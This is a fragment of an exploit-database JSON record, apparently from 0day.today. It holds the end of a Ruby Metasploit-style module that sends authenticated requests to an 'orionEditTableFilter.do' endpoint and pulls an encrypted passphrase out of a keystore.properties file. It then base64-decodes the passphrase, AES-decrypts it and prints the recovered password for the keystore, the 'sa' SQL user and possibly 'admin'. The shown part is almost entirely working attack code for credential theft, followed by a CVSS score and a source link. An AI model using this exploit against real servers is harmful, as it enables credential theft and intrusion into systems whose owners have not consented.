'standard'\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nif res.code == 404\r\nfail_with(Failure::Unknown, \"Server likely has mitigation in place\")\r\nend\r\nprint_status(\"Getting encrypted passphrase value from keystore.properties file...\")\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\r\n'vars_get' => {\r\n'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\r\n'tableId' => 'taskLogTable',\r\n'orion.user.security.token' => auth_token\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\npassphrase = $1 if res.body =~ /passphrase=(.*?)\\\\u003/\r\npassphrase = passphrase.gsub('\\\\\\\\=', '=').gsub(\"\\\\u002f\", \"/\").gsub(\"\\\\u002b\", \"+\")\r\nprint_status(\"Base64 encoded encrypted passphrase: #{passphrase}\")\r\npassphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final\r\nprint_good(\"The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}\")\r\nend\r\n\n\n# 0day.today [2018-03-10] #", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://0day.today/exploit/23158"}]}